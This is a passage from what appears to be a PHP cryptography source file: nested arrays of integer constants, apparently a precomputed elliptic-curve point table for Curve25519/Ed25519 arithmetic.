                array(32173121, -16129311, 24896207, 3921497, 22579056,
-3410854, 19270449, 12217473, 17789017, -3395995),
                array(-30552961, -2228401, -15578829, -10147201, 13243889,
517024, 15479401, -3853233, 30460520, 1052596),
                array(-11614875, 13323618, 32618793, 8175907, -15230173,
12596687, 27491595, -4612359, 3179268, -9478891),
            ),
            array(
                array(31947069, -14366651, -4640583, -15339921, -15125977,
-6039709, -14756777, -16411740, 19072640, -9511060),
                array(11685058, 11822410, 3158003, -13952594, 33402194,
-4165066, 5977896, -5215017, 473099, 5040608),
                array(-20290863, 8198642, -27410132, 11602123, 1290375,
-2799760, 28326862, 1721092, -19558642, -3131606),
            ),
        ),
        array(
            array(
                array(7881532, 10687937, 7578723, 7738378, -18951012,
-2553952, 21820786, 8076149, -27868496, 11538389),
                array(-19935666, 3899861, 18283497, -6801568, -15728660,
-11249211, 8754525, 7446702, -5676054, 5797016),
                array(-11295600, -3793569, -15782110, -7964573, 12708869,
-8456199, 2014099, -9050574, -2369172, -5877341),
            ),
            array(
                array(-22472376, -11568741, -27682020, 1146375, 18956691,
16640559, 1192730, -3714199, 15123619, 10811505),
                array(14352098, -3419715, -18942044, 10822655, 32750596,
4699007, -70363, 15776356, -28886779, -11974553),
                array(-28241164, -8072475, -4978962, -5315317, 29416931,
1847569, -20654173, -16484855, 4714547, -9600655),
            ),
            array(
                array(15200332, 8368572, 19679101, 15970074, -31872674,
1959451, 24611599, -4543832, -11745876, 12340220),
                array(12876937, -10480056, 33134381, 6590940, -6307776,
14872440, 9613953, 8241152, 15370987, 9608631),
                array(-4143277, -12014408, 8446281, -391603, 4407738,
13629032, -7724868, 15866074, -28210621, -8814099),
            ),
            array(
                array(26660628, -15677655, 8393734, 358047, -7401291,
992988, -23904233, 858697, 20571223, 8420556),
                array(14620715, 13067227, -15447274, 8264467, 14106269,
15080814, 33531827, 12516406, -21574435, -12476749),
                array(236881, 10476226, 57258, -14677024, 6472998, 2466984,
17258519, 7256740, 8791136, 15069930),
            ),
            array(
                array(1276410, -9371918, 22949635, -16322807, -23493039,
-5702186, 14711875, 4874229, -30663140, -2331391),
                array(5855666, 4990204, -13711848, 7294284, -7804282,
1924647, -1423175, -7912378, -33069337, 9234253),
                array(20590503, -9018988, 31529744, -7352666, -2706834,
10650548, 31559055, -11609587, 18979186, 13396066),
            ),
            array(
                array(24474287, 4968103, 22267082, 4407354, 24063882,
-8325180, -18816887, 13594782, 33514650, 7021958),
                array(-11566906, -6565505, -21365085, 15928892, -26158305,
4315421, -25948728, -3916677, -21480480, 12868082),
                array(-28635013, 13504661, 19988037, -2132761, 21078225,
6443208, -21446107, 2244500, -12455797, -8089383),
            ),
            array(
                array(-30595528, 13793479, -5852820, 319136, -25723172,
-6263899, 33086546, 8957937, -15233648, 5540521),
                array(-11630176, -11503902, -8119500, -7643073, 2620056,
1022908, -23710744, -1568984, -16128528, -14962807),
                array(23152971, 775386, 27395463, 14006635, -9701118,
4649512, 1689819, 892185, -11513277, -15205948),
            ),
            array(
                array(9770129, 9586738, 26496094, 4324120, 1556511,
-3550024, 27453819, 4763127, -19179614, 5867134),
                array(-32765025, 1927590, 31726409, -4753295, 23962434,
-16019500, 27846559, 5931263, -29749703, -16108455),
                array(27461885, -2977536, 22380810, 1815854, -23033753,
-3031938, 7283490, -15148073, -19526700, 7734629),
            ),
        ),
        array(
            array(
                array(-8010264, -9590817, -11120403, 6196038, 29344158,
-13430885, 7585295, -3176626, 18549497, 15302069),
                array(-32658337, -6171222, -7672793, -11051681, 6258878,
13504381, 10458790, -6418461, -8872242, 8424746),
                array(24687205, 8613276, -30667046, -3233545, 1863892,
-1830544, 19206234, 7134917, -11284482, -828919),
            ),
            array(
                array(11334899, -9218022, 8025293, 12707519, 17523892,
-10476071, 10243738, -14685461, -5066034, 16498837),
                array(8911542, 6887158, -9584260, -6958590, 11145641,
-9543680, 17303925, -14124238, 6536641, 10543906),
                array(-28946384, 15479763, -17466835, 568876, -1497683,
11223454, -2669190, -16625574, -27235709, 8876771),
            ),
            array(
                array(-25742899, -12566864, -15649966, -846607, -33026686,
-796288, -33481822, 15824474, -604426, -9039817),
                array(10330056, 70051, 7957388, -9002667, 9764902,
15609756, 27698697, -4890037, 1657394, 3084098),
                array(10477963, -7470260, 12119566, -13250805, 29016247,
-5365589, 31280319, 14396151, -30233575, 15272409),
            ),
            array(
                array(-12288309, 3169463, 28813183, 16658753, 25116432,
-5630466, -25173957, -12636138, -25014757, 1950504),
                array(-26180358, 9489187, 11053416, -14746161, -31053720,
5825630, -8384306, -8767532, 15341279, 8373727),
                array(28685821, 7759505, -14378516, -12002860, -31971820,
4079242, 298136, -10232602, -2878207, 15190420),
            ),
            array(
                array(-32932876, 13806336, -14337485, -15794431, -24004620,
10940928, 8669718, 2742393, -26033313, -6875003),
                array(-1580388, -11729417, -25979658, -11445023, -17411874,
-10912854, 9291594, -16247779, -12154742, 6048605),
                array(-30305315, 14843444, 1539301, 11864366, 20201677,
1900163, 13934231, 5128323, 11213262, 9168384),
            ),
            array(
                array(-26280513, 11007847, 19408960, -940758, -18592965,
-4328580, -5088060, -11105150, 20470157, -16398701),
                array(-23136053, 9282192, 14855179, -15390078, -7362815,
-14408560, -22783952, 14461608, 14042978, 5230683),
                array(29969567, -2741594, -16711867, -8552442, 9175486,
-2468974, 21556951, 3506042, -5933891, -12449708),
            ),
            array(
                array(-3144746, 8744661, 19704003, 4581278, -20430686,
6830683, -21284170, 8971513, -28539189, 15326563),
                array(-19464629, 10110288, -17262528, -3503892, -23500387,
1355669, -15523050, 15300988, -20514118, 9168260),
                array(-5353335, 4488613, -23803248, 16314347, 7780487,
-15638939, -28948358, 9601605, 33087103, -9011387),
            ),
            array(
                array(-19443170, -15512900, -20797467, -12445323,
-29824447, 10229461, -27444329, -15000531, -5996870, 15664672),
                array(23294591, -16632613, -22650781, -8470978, 27844204,
11461195, 13099750, -2460356, 18151676, 13417686),
                array(-24722913, -4176517, -31150679, 5988919, -26858785,
6685065, 1661597, -12551441, 15271676, -15452665),
            ),
        ),
        array(
            array(
                array(11433042, -13228665, 8239631, -5279517, -1985436,
-725718, -18698764, 2167544, -6921301, -13440182),
                array(-31436171, 15575146, 30436815, 12192228, -22463353,
9395379, -9917708, -8638997, 12215110, 12028277),
                array(14098400, 6555944, 23007258, 5757252, -15427832,
-12950502, 30123440, 4617780, -16900089, -655628),
            ),
            array(
                array(-4026201, -15240835, 11893168, 13718664, -14809462,
1847385, -15819999, 10154009, 23973261, -12684474),
                array(-26531820, -3695990, -1908898, 2534301, -31870557,
-16550355, 18341390, -11419951, 32013174, -10103539),
                array(-25479301, 10876443, -11771086, -14625140, -12369567,
1838104, 21911214, 6354752, 4425632, -837822),
            ),
            array(
                array(-10433389, -14612966, 22229858, -3091047, -13191166,
776729, -17415375, -12020462, 4725005, 14044970),
                array(19268650, -7304421, 1555349, 8692754, -21474059,
-9910664, 6347390, -1411784, -19522291, -16109756),
                array(-24864089, 12986008, -10898878, -5558584, -11312371,
-148526, 19541418, 8180106, 9282262, 10282508),
            ),
            array(
                array(-26205082, 4428547, -8661196, -13194263, 4098402,
-14165257, 15522535, 8372215, 5542595, -10702683),
                array(-10562541, 14895633, 26814552, -16673850, -17480754,
-2489360, -2781891, 6993761, -18093885, 10114655),
                array(-20107055, -929418, 31422704, 10427861, -7110749,
6150669, -29091755, -11529146, 25953725, -106158),
            ),
            array(
                array(-4234397, -8039292, -9119125, 3046000, 2101609,
-12607294, 19390020, 6094296, -3315279, 12831125),
                array(-15998678, 7578152, 5310217, 14408357, -33548620,
-224739, 31575954, 6326196, 7381791, -2421839),
                array(-20902779, 3296811, 24736065, -16328389, 18374254,
7318640, 6295303, 8082724, -15362489, 12339664),
            ),
            array(
                array(27724736, 2291157, 6088201, -14184798, 1792727,
5857634, 13848414, 15768922, 25091167, 14856294),
                array(-18866652, 8331043, 24373479, 8541013, -701998,
-9269457, 12927300, -12695493, -22182473, -9012899),
                array(-11423429, -5421590, 11632845, 3405020, 30536730,
-11674039, -27260765, 13866390, 30146206, 9142070),
            ),
            array(
                array(3924129, -15307516, -13817122, -10054960, 12291820,
-668366, -27702774, 9326384, -8237858, 4171294),
                array(-15921940, 16037937, 6713787, 16606682, -21612135,
2790944, 26396185, 3731949, 345228, -5462949),
                array(-21327538, 13448259, 25284571, 1143661, 20614966,
-8849387, 2031539, -12391231, -16253183, -13582083),
            ),
            array(
                array(31016211, -16722429, 26371392, -14451233, -5027349,
14854137, 17477601, 3842657, 28012650, -16405420),
                array(-5075835, 9368966, -8562079, -4600902, -15249953,
6970560, -9189873, 16292057, -8867157, 3507940),
                array(29439664, 3537914, 23333589, 6997794, -17555561,
-11018068, -15209202, -15051267, -9164929, 6580396),
            ),
        ),
        array(
            array(
                array(-12185861, -7679788, 16438269, 10826160, -8696817,
-6235611, 17860444, -9273846, -2095802, 9304567),
                array(20714564, -4336911, 29088195, 7406487, 11426967,
-5095705, 14792667, -14608617, 5289421, -477127),
                array(-16665533, -10650790, -6160345, -13305760, 9192020,
-1802462, 17271490, 12349094, 26939669, -3752294),
            ),
            array(
                array(-12889898, 9373458, 31595848, 16374215, 21471720,
13221525, -27283495, -12348559, -3698806, 117887),
                array(22263325, -6560050, 3984570, -11174646, -15114008,
-566785, 28311253, 5358056, -23319780, 541964),
                array(16259219, 3261970, 2309254, -15534474, -16885711,
-4581916, 24134070, -16705829, -13337066, -13552195),
            ),
            array(
                array(9378160, -13140186, -22845982, -12745264, 28198281,
-7244098, -2399684, -717351, 690426, 14876244),
                array(24977353, -314384, -8223969, -13465086, 28432343,
-1176353, -13068804, -12297348, -22380984, 6618999),
                array(-1538174, 11685646, 12944378, 13682314, -24389511,
-14413193, 8044829, -13817328, 32239829, -5652762),
            ),
            array(
                array(-18603066, 4762990, -926250, 8885304, -28412480,
-3187315, 9781647, -10350059, 32779359, 5095274),
                array(-33008130, -5214506, -32264887, -3685216, 9460461,
-9327423, -24601656, 14506724, 21639561, -2630236),
                array(-16400943, -13112215, 25239338, 15531969, 3987758,
-4499318, -1289502, -6863535, 17874574, 558605),
            ),
            array(
                array(-13600129, 10240081, 9171883, 16131053, -20869254,
9599700, 33499487, 5080151, 2085892, 5119761),
                array(-22205145, -2519528, -16381601, 414691, -25019550,
2170430, 30634760, -8363614, -31999993, -5759884),
                array(-6845704, 15791202, 8550074, -1312654, 29928809,
-12092256, 27534430, -7192145, -22351378, 12961482),
            ),
            array(
                array(-24492060, -9570771, 10368194, 11582341, -23397293,
-2245287, 16533930, 8206996, -30194652, -5159638),
                array(-11121496, -3382234, 2307366, 6362031, -135455,
8868177, -16835630, 7031275, 7589640, 8945490),
                array(-32152748, 8917967, 6661220, -11677616, -1192060,
-15793393, 7251489, -11182180, 24099109, -14456170),
            ),
            array(
                array(5019558, -7907470, 4244127, -14714356, -26933272,
6453165, -19118182, -13289025, -6231896, -10280736),
                array(10853594, 10721687, 26480089, 5861829, -22995819,
1972175, -1866647, -10557898, -3363451, -6441124),
                array(-17002408, 5906790, 221599, -6563147, 7828208,
-13248918, 24362661, -2008168, -13866408, 7421392),
            ),
            array(
                array(8139927, -6546497, 32257646, -5890546, 30375719,
1886181, -21175108, 15441252, 28826358, -4123029),
                array(6267086, 9695052, 7709135, -16603597, -32869068,
-1886135, 14795160, -7840124, 13746021, -1742048),
                array(28584902, 7787108, -6732942, -15050729, 22846041,
-7571236, -3181936, -363524, 4771362, -8419958),
            ),
        ),
        array(
            array(
                array(24949256, 6376279, -27466481, -8174608, -18646154,
-9930606, 33543569, -12141695, 3569627, 11342593),
                array(26514989, 4740088, 27912651, 3697550, 19331575,
-11472339, 6809886, 4608608, 7325975, -14801071),
                array(-11618399, -14554430, -24321212, 7655128, -1369274,
5214312, -27400540, 10258390, -17646694, -8186692),
            ),
            array(
                array(11431204, 15823007, 26570245, 14329124, 18029990,
4796082, -31446179, 15580664, 9280358, -3973687),
                array(-160783, -10326257, -22855316, -4304997, -20861367,
-13621002, -32810901, -11181622, -15545091, 4387441),
                array(-20799378, 12194512, 3937617, -5805892, -27154820,
9340370, -24513992, 8548137, 20617071, -7482001),
            ),
            array(
                array(-938825, -3930586, -8714311, 16124718, 24603125,
-6225393, -13775352, -11875822, 24345683, 10325460),
                array(-19855277, -1568885, -22202708, 8714034, 14007766,
6928528, 16318175, -1010689, 4766743, 3552007),
                array(-21751364, -16730916, 1351763, -803421, -4009670,
3950935, 3217514, 14481909, 10988822, -3994762),
            ),
            array(
                array(15564307, -14311570, 3101243, 5684148, 30446780,
-8051356, 12677127, -6505343, -8295852, 13296005),
                array(-9442290, 6624296, -30298964, -11913677, -4670981,
-2057379, 31521204, 9614054, -30000824, 12074674),
                array(4771191, -135239, 14290749, -13089852, 27992298,
14998318, -1413936, -1556716, 29832613, -16391035),
            ),
            array(
                array(7064884, -7541174, -19161962, -5067537, -18891269,
-2912736, 25825242, 5293297, -27122660, 13101590),
                array(-2298563, 2439670, -7466610, 1719965, -27267541,
-16328445, 32512469, -5317593, -30356070, -4190957),
                array(-30006540, 10162316, -33180176, 3981723, -16482138,
-13070044, 14413974, 9515896, 19568978, 9628812),
            ),
            array(
                array(33053803, 199357, 15894591, 1583059, 27380243,
-4580435, -17838894, -6106839, -6291786, 3437740),
                array(-18978877, 3884493, 19469877, 12726490, 15913552,
13614290, -22961733, 70104, 7463304, 4176122),
                array(-27124001, 10659917, 11482427, -16070381, 12771467,
-6635117, -32719404, -5322751, 24216882, 5944158),
            ),
            array(
                array(8894125, 7450974, -2664149, -9765752, -28080517,
-12389115, 19345746, 14680796, 11632993, 5847885),
                array(26942781, -2315317, 9129564, -4906607, 26024105,
11769399, -11518837, 6367194, -9727230, 4782140),
                array(19916461, -4828410, -22910704, -11414391, 25606324,
-5972441, 33253853, 8220911, 6358847, -1873857),
            ),
            array(
                array(801428, -2081702, 16569428, 11065167, 29875704,
96627, 7908388, -4480480, -13538503, 1387155),
                array(19646058, 5720633, -11416706, 12814209, 11607948,
12749789, 14147075, 15156355, -21866831, 11835260),
                array(19299512, 1155910, 28703737, 14890794, 2925026,
7269399, 26121523, 15467869, -26560550, 5052483),
            ),
        ),
        array(
            array(
                array(-3017432, 10058206, 1980837, 3964243, 22160966,
12322533, -6431123, -12618185, 12228557, -7003677),
                array(32944382, 14922211, -22844894, 5188528, 21913450,
-8719943, 4001465, 13238564, -6114803, 8653815),
                array(22865569, -4652735, 27603668, -12545395, 14348958,
8234005, 24808405, 5719875, 28483275, 2841751),
            ),
            array(
                array(-16420968, -1113305, -327719, -12107856, 21886282,
-15552774, -1887966, -315658, 19932058, -12739203),
                array(-11656086, 10087521, -8864888, -5536143, -19278573,
-3055912, 3999228, 13239134, -4777469, -13910208),
                array(1382174, -11694719, 17266790, 9194690, -13324356,
9720081, 20403944, 11284705, -14013818, 3093230),
            ),
            array(
                array(16650921, -11037932, -1064178, 1570629, -8329746,
7352753, -302424, 16271225, -24049421, -6691850),
                array(-21911077, -5927941, -4611316, -5560156, -31744103,
-10785293, 24123614, 15193618, -21652117, -16739389),
                array(-9935934, -4289447, -25279823, 4372842, 2087473,
10399484, 31870908, 14690798, 17361620, 11864968),
            ),
            array(
                array(-11307610, 6210372, 13206574, 5806320, -29017692,
-13967200, -12331205, -7486601, -25578460, -16240689),
                array(14668462, -12270235, 26039039, 15305210, 25515617,
4542480, 10453892, 6577524, 9145645, -6443880),
                array(5974874, 3053895, -9433049, -10385191, -31865124,
3225009, -7972642, 3936128, -5652273, -3050304),
            ),
            array(
                array(30625386, -4729400, -25555961, -12792866, -20484575,
7695099, 17097188, -16303496, -27999779, 1803632),
                array(-3553091, 9865099, -5228566, 4272701, -5673832,
-16689700, 14911344, 12196514, -21405489, 7047412),
                array(20093277, 9920966, -11138194, -5343857, 13161587,
12044805, -32856851, 4124601, -32343828, -10257566),
            ),
            array(
                array(-20788824, 14084654, -13531713, 7842147, 19119038,
-13822605, 4752377, -8714640, -21679658, 2288038),
                array(-26819236, -3283715, 29965059, 3039786, -14473765,
2540457, 29457502, 14625692, -24819617, 12570232),
                array(-1063558, -11551823, 16920318, 12494842, 1278292,
-5869109, -21159943, -3498680, -11974704, 4724943),
            ),
            array(
                array(17960970, -11775534, -4140968, -9702530, -8876562,
-1410617, -12907383, -8659932, -29576300, 1903856),
                array(23134274, -14279132, -10681997, -1611936, 20684485,
15770816, -12989750, 3190296, 26955097, 14109738),
                array(15308788, 5320727, -30113809, -14318877, 22902008,
7767164, 29425325, -11277562, 31960942, 11934971),
            ),
            array(
                array(-27395711, 8435796, 4109644, 12222639, -24627868,
14818669, 20638173, 4875028, 10491392, 1379718),
                array(-13159415, 9197841, 3875503, -8936108, -1383712,
-5879801, 33518459, 16176658, 21432314, 12180697),
                array(-11787308, 11500838, 13787581, -13832590, -22430679,
10140205, 1465425, 12689540, -10301319, -13872883),
            ),
        ),
        array(
            array(
                array(5414091, -15386041, -21007664, 9643570, 12834970,
1186149, -2622916, -1342231, 26128231, 6032912),
                array(-26337395, -13766162, 32496025, -13653919, 17847801,
-12669156, 3604025, 8316894, -25875034, -10437358),
                array(3296484, 6223048, 24680646, -12246460, -23052020,
5903205, -8862297, -4639164, 12376617, 3188849),
            ),
            array(
                array(29190488, -14659046, 27549113, -1183516, 3520066,
-10697301, 32049515, -7309113, -16109234, -9852307),
                array(-14744486, -9309156, 735818, -598978, -20407687,
-5057904, 25246078, -15795669, 18640741, -960977),
                array(-6928835, -16430795, 10361374, 5642961, 4910474,
12345252, -31638386, -494430, 10530747, 1053335),
            ),
            array(
                array(-29265967, -14186805, -13538216, -12117373,
-19457059, -10655384, -31462369, -2948985, 24018831, 15026644),
                array(-22592535, -3145277, -2289276, 5953843, -13440189,
9425631, 25310643, 13003497, -2314791, -15145616),
                array(-27419985, -603321, -8043984, -1669117, -26092265,
13987819, -27297622, 187899, -23166419, -2531735),
            ),
            array(
                array(-21744398, -13810475, 1844840, 5021428, -10434399,
-15911473, 9716667, 16266922, -5070217, 726099),
                array(29370922, -6053998, 7334071, -15342259, 9385287,
2247707, -13661962, -4839461, 30007388, -15823341),
                array(-936379, 16086691, 23751945, -543318, -1167538,
-5189036, 9137109, 730663, 9835848, 4555336),
            ),
            array(
                array(-23376435, 1410446, -22253753, -12899614, 30867635,
15826977, 17693930, 544696, -11985298, 12422646),
                array(31117226, -12215734, -13502838, 6561947, -9876867,
-12757670, -5118685, -4096706, 29120153, 13924425),
                array(-17400879, -14233209, 19675799, -2734756, -11006962,
-5858820, -9383939, -11317700, 7240931, -237388),
            ),
            array(
                array(-31361739, -11346780, -15007447, -5856218, -22453340,
-12152771, 1222336, 4389483, 3293637, -15551743),
                array(-16684801, -14444245, 11038544, 11054958, -13801175,
-3338533, -24319580, 7733547, 12796905, -6335822),
                array(-8759414, -10817836, -25418864, 10783769, -30615557,
-9746811, -28253339, 3647836, 3222231, -11160462),
            ),
            array(
                array(18606113, 1693100, -25448386, -15170272, 4112353,
10045021, 23603893, -2048234, -7550776, 2484985),
                array(9255317, -3131197, -12156162, -1004256, 13098013,
-9214866, 16377220, -2102812, -19802075, -3034702),
                array(-22729289, 7496160, -5742199, 11329249, 19991973,
-3347502, -31718148, 9936966, -30097688, -10618797),
            ),
            array(
                array(21878590, -5001297, 4338336, 13643897, -3036865,
13160960, 19708896, 5415497, -7360503, -4109293),
                array(27736861, 10103576, 12500508, 8502413, -3413016,
-9633558, 10436918, -1550276, -23659143, -8132100),
                array(19492550, -12104365, -29681976, -852630, -3208171,
12403437, 30066266, 8367329, 13243957, 8709688),
            ),
        ),
        array(
            array(
                array(12015105, 2801261, 28198131, 10151021, 24818120,
-4743133, -11194191, -5645734, 5150968, 7274186),
                array(2831366, -12492146, 1478975, 6122054, 23825128,
-12733586, 31097299, 6083058, 31021603, -9793610),
                array(-2529932, -2229646, 445613, 10720828, -13849527,
-11505937, -23507731, 16354465, 15067285, -14147707),
            ),
            array(
                array(7840942, 14037873, -33364863, 15934016, -728213,
-3642706, 21403988, 1057586, -19379462, -12403220),
                array(915865, -16469274, 15608285, -8789130, -24357026,
6060030, -17371319, 8410997, -7220461, 16527025),
                array(32922597, -556987, 20336074, -16184568, 10903705,
-5384487, 16957574, 52992, 23834301, 6588044),
            ),
            array(
                array(32752030, 11232950, 3381995, -8714866, 22652988,
-10744103, 17159699, 16689107, -20314580, -1305992),
                array(-4689649, 9166776, -25710296, -10847306, 11576752,
12733943, 7924251, -2752281, 1976123, -7249027),
                array(21251222, 16309901, -2983015, -6783122, 30810597,
12967303, 156041, -3371252, 12331345, -8237197),
            ),
            array(
                array(8651614, -4477032, -16085636, -4996994, 13002507,
2950805, 29054427, -5106970, 10008136, -4667901),
                array(31486080, 15114593, -14261250, 12951354, 14369431,
-7387845, 16347321, -13662089, 8684155, -10532952),
                array(19443825, 11385320, 24468943, -9659068, -23919258,
2187569, -26263207, -6086921, 31316348, 14219878),
            ),
            array(
                array(-28594490, 1193785, 32245219, 11392485, 31092169,
15722801, 27146014, 6992409, 29126555, 9207390),
                array(32382935, 1110093, 18477781, 11028262, -27411763,
-7548111, -4980517, 10843782, -7957600, -14435730),
                array(2814918, 7836403, 27519878, -7868156, -20894015,
-11553689, -21494559, 8550130, 28346258, 1994730),
            ),
            array(
                array(-19578299, 8085545, -14000519, -3948622, 2785838,
-16231307, -19516951, 7174894, 22628102, 8115180),
                array(-30405132, 955511, -11133838, -15078069, -32447087,
-13278079, -25651578, 3317160, -9943017, 930272),
                array(-15303681, -6833769, 28856490, 1357446, 23421993,
1057177, 24091212, -1388970, -22765376, -10650715),
            ),
            array(
                array(-22751231, -5303997, -12907607, -12768866, -15811511,
-7797053, -14839018, -16554220, -1867018, 8398970),
                array(-31969310, 2106403, -4736360, 1362501, 12813763,
16200670, 22981545, -6291273, 18009408, -15772772),
                array(-17220923, -9545221, -27784654, 14166835, 29815394,
7444469, 29551787, -3727419, 19288549, 1325865),
            ),
            array(
                array(15100157, -15835752, -23923978, -1005098, -26450192,
15509408, 12376730, -3479146, 33166107, -8042750),
                array(20909231, 13023121, -9209752, 16251778, -5778415,
-8094914, 12412151, 10018715, 2213263, -13878373),
                array(32529814, -11074689, 30361439, -16689753, -9135940,
1513226, 22922121, 6382134, -5766928, 8371348),
            ),
        ),
        array(
            array(
                array(9923462, 11271500, 12616794, 3544722, -29998368,
-1721626, 12891687, -8193132, -26442943, 10486144),
                array(-22597207, -7012665, 8587003, -8257861, 4084309,
-12970062, 361726, 2610596, -23921530, -11455195),
                array(5408411, -1136691, -4969122, 10561668, 24145918,
14240566, 31319731, -4235541, 19985175, -3436086),
            ),
            array(
                array(-13994457, 16616821, 14549246, 3341099, 32155958,
13648976, -17577068, 8849297, 65030, 8370684),
                array(-8320926, -12049626, 31204563, 5839400, -20627288,
-1057277, -19442942, 6922164, 12743482, -9800518),
                array(-2361371, 12678785, 28815050, 4759974, -23893047,
4884717, 23783145, 11038569, 18800704, 255233),
            ),
            array(
                array(-5269658, -1773886, 13957886, 7990715, 23132995,
728773, 13393847, 9066957, 19258688, -14753793),
                array(-2936654, -10827535, -10432089, 14516793, -3640786,
4372541, -31934921, 2209390, -1524053, 2055794),
                array(580882, 16705327, 5468415, -2683018, -30926419,
-14696000, -7203346, -8994389, -30021019, 7394435),
            ),
            array(
                array(23838809, 1822728, -15738443, 15242727, 8318092,
-3733104, -21672180, -3492205, -4821741, 14799921),
                array(13345610, 9759151, 3371034, -16137791, 16353039,
8577942, 31129804, 13496856, -9056018, 7402518),
                array(2286874, -4435931, -20042458, -2008336, -13696227,
5038122, 11006906, -15760352, 8205061, 1607563),
            ),
            array(
                array(14414086, -8002132, 3331830, -3208217, 22249151,
-5594188, 18364661, -2906958, 30019587, -9029278),
                array(-27688051, 1585953, -10775053, 931069, -29120221,
-11002319, -14410829, 12029093, 9944378, 8024),
                array(4368715, -3709630, 29874200, -15022983, -20230386,
-11410704, -16114594, -999085, -8142388, 5640030),
            ),
            array(
                array(10299610, 13746483, 11661824, 16234854, 7630238,
5998374, 9809887, -16694564, 15219798, -14327783),
                array(27425505, -5719081, 3055006, 10660664, 23458024,
595578, -15398605, -1173195, -18342183, 9742717),
                array(6744077, 2427284, 26042789, 2720740, -847906,
1118974, 32324614, 7406442, 12420155, 1994844),
            ),
            array(
                array(14012521, -5024720, -18384453, -9578469, -26485342,
-3936439, -13033478, -10909803, 24319929, -6446333),
                array(16412690, -4507367, 10772641, 15929391, -17068788,
-4658621, 10555945, -10484049, -30102368, -4739048),
                array(22397382, -7767684, -9293161, -12792868, 17166287,
-9755136, -27333065, 6199366, 21880021, -12250760),
            ),
            array(
                array(-4283307, 5368523, -31117018, 8163389, -30323063,
3209128, 16557151, 8890729, 8840445, 4957760),
                array(-15447727, 709327, -6919446, -10870178, -29777922,
6522332, -21720181, 12130072, -14796503, 5005757),
                array(-2114751, -14308128, 23019042, 15765735, -25269683,
6002752, 10183197, -13239326, -16395286, -2176112),
            ),
        ),
        array(
            array(
                array(-19025756, 1632005, 13466291, -7995100, -23640451,
16573537, -32013908, -3057104, 22208662, 2000468),
                array(3065073, -1412761, -25598674, -361432, -17683065,
-5703415, -8164212, 11248527, -3691214, -7414184),
                array(10379208, -6045554, 8877319, 1473647, -29291284,
-12507580, 16690915, 2553332, -3132688, 16400289),
            ),
            array(
                array(15716668, 1254266, -18472690, 7446274, -8448918,
6344164, -22097271, -7285580, 26894937, 9132066),
                array(24158887, 12938817, 11085297, -8177598, -28063478,
-4457083, -30576463, 64452, -6817084, -2692882),
                array(13488534, 7794716, 22236231, 5989356, 25426474,
-12578208, 2350710, -3418511, -4688006, 2364226),
            ),
            array(
                array(16335052, 9132434, 25640582, 6678888, 1725628,
8517937, -11807024, -11697457, 15445875, -7798101),
                array(29004207, -7867081, 28661402, -640412, -12794003,
-7943086, 31863255, -4135540, -278050, -15759279),
                array(-6122061, -14866665, -28614905, 14569919, -10857999,
-3591829, 10343412, -6976290, -29828287, -10815811),
            ),
            array(
                array(27081650, 3463984, 14099042, -4517604, 1616303,
-6205604, 29542636, 15372179, 17293797, 960709),
                array(20263915, 11434237, -5765435, 11236810, 13505955,
-10857102, -16111345, 6493122, -19384511, 7639714),
                array(-2830798, -14839232, 25403038, -8215196, -8317012,
-16173699, 18006287, -16043750, 29994677, -15808121),
            ),
            array(
                array(9769828, 5202651, -24157398, -13631392, -28051003,
-11561624, -24613141, -13860782, -31184575, 709464),
                array(12286395, 13076066, -21775189, -1176622, -25003198,
4057652, -32018128, -8890874, 16102007, 13205847),
                array(13733362, 5599946, 10557076, 3195751, -5557991,
8536970, -25540170, 8525972, 10151379, 10394400),
            ),
            array(
                array(4024660, -16137551, 22436262, 12276534, -9099015,
-2686099, 19698229, 11743039, -33302334, 8934414),
                array(-15879800, -4525240, -8580747, -2934061, 14634845,
-698278, -9449077, 3137094, -11536886, 11721158),
                array(17555939, -5013938, 8268606, 2331751, -22738815,
9761013, 9319229, 8835153, -9205489, -1280045),
            ),
            array(
                array(-461409, -7830014, 20614118, 16688288, -7514766,
-4807119, 22300304, 505429, 6108462, -6183415),
                array(-5070281, 12367917, -30663534, 3234473, 32617080,
-8422642, 29880583, -13483331, -26898490, -7867459),
                array(-31975283, 5726539, 26934134, 10237677, -3173717,
-605053, 24199304, 3795095, 7592688, -14992079),
            ),
            array(
                array(21594432, -14964228, 17466408, -4077222, 32537084,
2739898, 6407723, 12018833, -28256052, 4298412),
                array(-20650503, -11961496, -27236275, 570498, 3767144,
-1717540, 13891942, -1569194, 13717174, 10805743),
                array(-14676630, -15644296, 15287174, 11927123, 24177847,
-8175568, -796431, 14860609, -26938930, -5863836),
            ),
        ),
        array(
            array(
                array(12962541, 5311799, -10060768, 11658280, 18855286,
-7954201, 13286263, -12808704, -4381056, 9882022),
                array(18512079, 11319350, -20123124, 15090309, 18818594,
5271736, -22727904, 3666879, -23967430, -3299429),
                array(-6789020, -3146043, 16192429, 13241070, 15898607,
-14206114, -10084880, -6661110, -2403099, 5276065),
            ),
            array(
                array(30169808, -5317648, 26306206, -11750859, 27814964,
7069267, 7152851, 3684982, 1449224, 13082861),
                array(10342826, 3098505, 2119311, 193222, 25702612,
12233820, 23697382, 15056736, -21016438, -8202000),
                array(-33150110, 3261608, 22745853, 7948688, 19370557,
-15177665, -26171976, 6482814, -10300080, -11060101),
            ),
            array(
                array(32869458, -5408545, 25609743, 15678670, -10687769,
-15471071, 26112421, 2521008, -22664288, 6904815),
                array(29506923, 4457497, 3377935, -9796444, -30510046,
12935080, 1561737, 3841096, -29003639, -6657642),
                array(10340844, -6630377, -18656632, -2278430, 12621151,
-13339055, 30878497, -11824370, -25584551, 5181966),
            ),
            array(
                array(25940115, -12658025, 17324188, -10307374, -8671468,
15029094, 24396252, -16450922, -2322852, -12388574),
                array(-21765684, 9916823, -1300409, 4079498, -1028346,
11909559, 1782390, 12641087, 20603771, -6561742),
                array(-18882287, -11673380, 24849422, 11501709, 13161720,
-4768874, 1925523, 11914390, 4662781, 7820689),
            ),
            array(
                array(12241050, -425982, 8132691, 9393934, 32846760,
-1599620, 29749456, 12172924, 16136752, 15264020),
                array(-10349955, -14680563, -8211979, 2330220, -17662549,
-14545780, 10658213, 6671822, 19012087, 3772772),
                array(3753511, -3421066, 10617074, 2028709, 14841030,
-6721664, 28718732, -15762884, 20527771, 12988982),
            ),
            array(
                array(-14822485, -5797269, -3707987, 12689773, -898983,
-10914866, -24183046, -10564943, 3299665, -12424953),
                array(-16777703, -15253301, -9642417, 4978983, 3308785,
8755439, 6943197, 6461331, -25583147, 8991218),
                array(-17226263, 1816362, -1673288, -6086439, 31783888,
-8175991, -32948145, 7417950, -30242287, 1507265),
            ),
            array(
                array(29692663, 6829891, -10498800, 4334896, 20945975,
